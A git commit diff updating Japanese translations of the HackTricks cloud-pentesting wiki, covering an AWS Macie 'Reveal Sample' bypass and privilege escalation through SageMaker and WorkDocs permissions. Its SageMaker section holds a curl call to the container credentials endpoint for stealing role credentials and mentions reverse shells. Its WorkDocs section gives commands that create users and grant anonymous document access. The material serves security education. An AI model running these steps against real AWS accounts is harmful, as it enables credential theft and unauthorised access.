mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-14 13:56:30 -08:00
Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## Macie
|
||||
|
||||
Macieに関する詳細情報は、以下を確認してください:
|
||||
Macieに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-macie-enum.md
|
||||
@@ -12,26 +12,27 @@ Macieに関する詳細情報は、以下を確認してください:
|
||||
|
||||
### Amazon Macie - `Reveal Sample` 整合性チェックのバイパス
|
||||
|
||||
AWS Macieは、AWS環境内の機密データ(資格情報、個人を特定できる情報(PII)、その他の機密データ)を自動的に検出するセキュリティサービスです。MacieがS3バケットに保存されたAWSシークレットキーのような機密資格情報を特定すると、所有者が検出されたデータの「サンプル」を表示できるようにする発見を生成します。通常、機密ファイルがS3バケットから削除されると、そのシークレットはもはや取得できないと期待されます。
|
||||
AWS Macieは、AWS環境内の機密データ(資格情報、個人を特定できる情報(PII)、その他の機密データ)を自動的に検出するセキュリティサービスです。MacieがS3バケットに保存されたAWSシークレットキーのような機密資格情報を特定すると、所有者が検出されたデータの「サンプル」を表示できるようにする発見を生成します。通常、機密ファイルがS3バケットから削除されると、そのシークレットは再取得できないと考えられています。
|
||||
|
||||
しかし、十分な権限を持つ攻撃者が**同じ名前のファイルを再アップロード**できる**バイパス**が特定されましたが、そのファイルには異なる非機密のダミーデータが含まれています。これにより、Macieは新しくアップロードされたファイルを元の発見に関連付け、攻撃者は**「Reveal Sample」機能**を使用して以前に検出されたシークレットを抽出できるようになります。この問題は、削除されたと考えられていたシークレットがこの方法で再取得可能であるため、重大なセキュリティリスクをもたらします。
|
||||
|
||||

|
||||
|
||||
**再現手順:**
|
||||
**再現手順:**
|
||||
|
||||
1. 機密データ(例:AWSシークレットキーなど)を含むファイル(例:`test-secret.txt`)をS3バケットにアップロードします。AWS Macieがスキャンして発見を生成するのを待ちます。
|
||||
1. 機密データ(例: `test-secret.txt`)を含むファイルをS3バケットにアップロードします。AWS Macieがスキャンして発見を生成するのを待ちます。
|
||||
|
||||
2. AWS Macieの発見に移動し、生成された発見を見つけて、**Reveal Sample**機能を使用して検出されたシークレットを表示します。
|
||||
2. AWS Macie Findingsに移動し、生成された発見を見つけて、**Reveal Sample**機能を使用して検出されたシークレットを表示します。
|
||||
|
||||
3. S3バケットから`test-secret.txt`を削除し、それが存在しないことを確認します。
|
||||
|
||||
4. ダミーデータを含む新しいファイル`test-secret.txt`を作成し、**攻撃者のアカウント**を使用して同じS3バケットに再アップロードします。
|
||||
|
||||
5. AWS Macieの発見に戻り、元の発見にアクセスして、再度**Reveal Sample**をクリックします。
|
||||
5. AWS Macie Findingsに戻り、元の発見にアクセスして、再度**Reveal Sample**をクリックします。
|
||||
|
||||
6. ファイルが削除され、異なる内容に置き換えられたにもかかわらず、Macieが元のシークレットをまだ表示することを観察します。**異なるアカウントから、私たちの場合は攻撃者のアカウントになります。**
|
||||
6. ファイルが削除され、異なる内容に置き換えられたにもかかわらず、Macieが元のシークレットをまだ表示することに注意します。**異なるアカウントから、私たちの場合は攻撃者のアカウントになります。**
|
||||
|
||||
**要約:**
|
||||
**要約:**
|
||||
|
||||
この脆弱性により、十分なAWS IAM権限を持つ攻撃者は、元のファイルがS3から削除された後でも以前に検出されたシークレットを回復できます。AWSシークレットキー、アクセストークン、またはその他の機密資格情報が露出した場合、攻撃者はこの欠陥を利用してそれを取得し、AWSリソースへの不正アクセスを得ることができます。これにより、特権の昇格、不正なデータアクセス、またはクラウド資産のさらなる侵害が発生し、データ漏洩やサービスの中断を引き起こす可能性があります。
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,8 +1,10 @@
|
||||
# AWS - Sagemaker Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AWS - Sagemaker Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
@@ -12,12 +14,12 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \
|
||||
--instance-type ml.t2.medium \
|
||||
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
||||
```
|
||||
`NotebookInstanceArn` フィールドが含まれている必要があり、これは新しく作成されたノートブックインスタンスの ARN を含みます。次に、`create-presigned-notebook-instance-url` API を使用して、ノートブックインスタンスが準備完了次第アクセスするための URL を生成できます。
|
||||
`NotebookInstanceArn` フィールドが含まれている必要があり、これは新しく作成されたノートブックインスタンスの ARN を含みます。次に、`create-presigned-notebook-instance-url` API を使用して、ノートブックインスタンスが準備完了した際にアクセスするための URL を生成できます:
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
```
|
||||
ブラウザでURLに移動し、右上の \`Open JupyterLab\` をクリックし、次に「Launcher」タブまでスクロールし、「Other」セクションの下にある「Terminal」ボタンをクリックします。
|
||||
ブラウザでURLに移動し、右上の \`Open JupyterLab\` をクリックします。次に、「Launcher」タブまでスクロールし、「Other」セクションの下にある「Terminal」ボタンをクリックします。
|
||||
|
||||
これで、IAMロールのメタデータ資格情報にアクセスすることが可能です。
|
||||
|
||||
@@ -29,7 +31,7 @@ aws sagemaker create-presigned-notebook-instance-url \
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
||||
```
|
||||
**潜在的な影響:** 添付されたsagemakerサービスロールへの権限昇格。
|
||||
**潜在的な影響:** sagemakerサービスロールへの権限昇格。
|
||||
|
||||
### `sagemaker:CreateProcessingJob,iam:PassRole`
|
||||
|
||||
@@ -45,14 +47,14 @@ aws sagemaker create-processing-job \
|
||||
# In my tests it took 10min to receive the shell
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
|
||||
```
|
||||
**潜在的な影響:** 指定されたsagemakerサービスロールへの権限昇格。
|
||||
**潜在的影響:** 指定されたsagemakerサービスロールへの権限昇格。
|
||||
|
||||
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
|
||||
|
||||
これらの権限を持つ攻撃者は、**任意のコンテナを実行する**トレーニングジョブを作成でき、そのジョブに**ロールを添付**することができます。したがって、攻撃者はそのロールの資格情報を盗むことができます。
|
||||
これらの権限を持つ攻撃者は、**任意のコンテナを実行する**トレーニングジョブを作成でき、**ロールが添付**されます。したがって、攻撃者はそのロールの資格情報を盗むことができます。
|
||||
|
||||
> [!WARNING]
|
||||
> このシナリオは、前のものよりも悪用が難しいです。なぜなら、リバースシェルや資格情報を攻撃者に直接送信するDockerイメージを生成する必要があるからです(トレーニングジョブの設定で開始コマンドを指定することはできません)。
|
||||
> このシナリオは、攻撃者がリバースシェルや資格情報を直接送信するDockerイメージを生成する必要があるため、前のシナリオよりも悪用が難しいです(トレーニングジョブの設定で開始コマンドを指定することはできません)。
|
||||
>
|
||||
> ```bash
|
||||
> # Dockerイメージを作成
|
||||
@@ -95,7 +97,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
その権限を持つ攻撃者は(潜在的に)**ハイパーパラメータトレーニングジョブ**を作成し、**任意のコンテナ**をそれに**ロールを付けて**実行できる可能性があります。\
|
||||
_時間がなかったため、私はこの脆弱性を悪用していませんが、以前の悪用と似ているように見えます。悪用の詳細を含むPRを送信しても構いません。_
|
||||
_時間がなかったため、私はこの脆弱性を悪用していませんが、以前の脆弱性と似ているように見えます。悪用の詳細を含むPRを送信しても構いません。_
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@@ -1,8 +1,10 @@
|
||||
# AWS - WorkDocs Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## WorkDocs
|
||||
|
||||
WorkDocsに関する詳細情報は、以下を確認してください:
|
||||
WorkDocsに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-directory-services-workdocs-enum.md
|
||||
@@ -10,12 +12,12 @@ WorkDocsに関する詳細情報は、以下を確認してください:
|
||||
|
||||
### `workdocs:CreateUser`
|
||||
|
||||
指定されたディレクトリ内にユーザーを作成すると、WorkDocsとADの両方にアクセスできるようになります:
|
||||
指定されたディレクトリ内にユーザーを作成すると、WorkDocsとADの両方にアクセスできるようになります:
|
||||
```bash
|
||||
# Create user (created inside the AD)
|
||||
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
|
||||
```
|
||||
### `workdocs:GetDocument`, `(workdocs:DescribeActivities)`
|
||||
### `workdocs:GetDocument`, `(workdocs:DescribeActivities`)`
|
||||
|
||||
ファイルには機密情報が含まれている可能性があるため、読み取ってください:
|
||||
```bash
|
||||
@@ -30,7 +32,7 @@ aws workdocs get-document --document-id <doc-id>
|
||||
```
|
||||
### `workdocs:AddResourcePermissions`
|
||||
|
||||
何かを読むアクセス権がない場合は、それを単に付与することができます。
|
||||
何かを読むアクセス権がない場合は、それを付与するだけです。
|
||||
```bash
|
||||
# Add permission so anyway can see the file
|
||||
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
|
||||
@@ -41,6 +43,11 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
|
||||
ユーザーを管理者にするには、グループ ZOCALO_ADMIN に設定します。\
|
||||
そのためには、[https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) の指示に従ってください。
|
||||
|
||||
そのユーザーで workdoc にログインし、`/workdocs/index.html#/admin` の管理パネルにアクセスします。
|
||||
そのユーザーで workdoc にログインし、`/workdocs/index.html#/admin` で管理パネルにアクセスします。
|
||||
|
||||
CLI からこれを行う方法は見つかりませんでした。
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user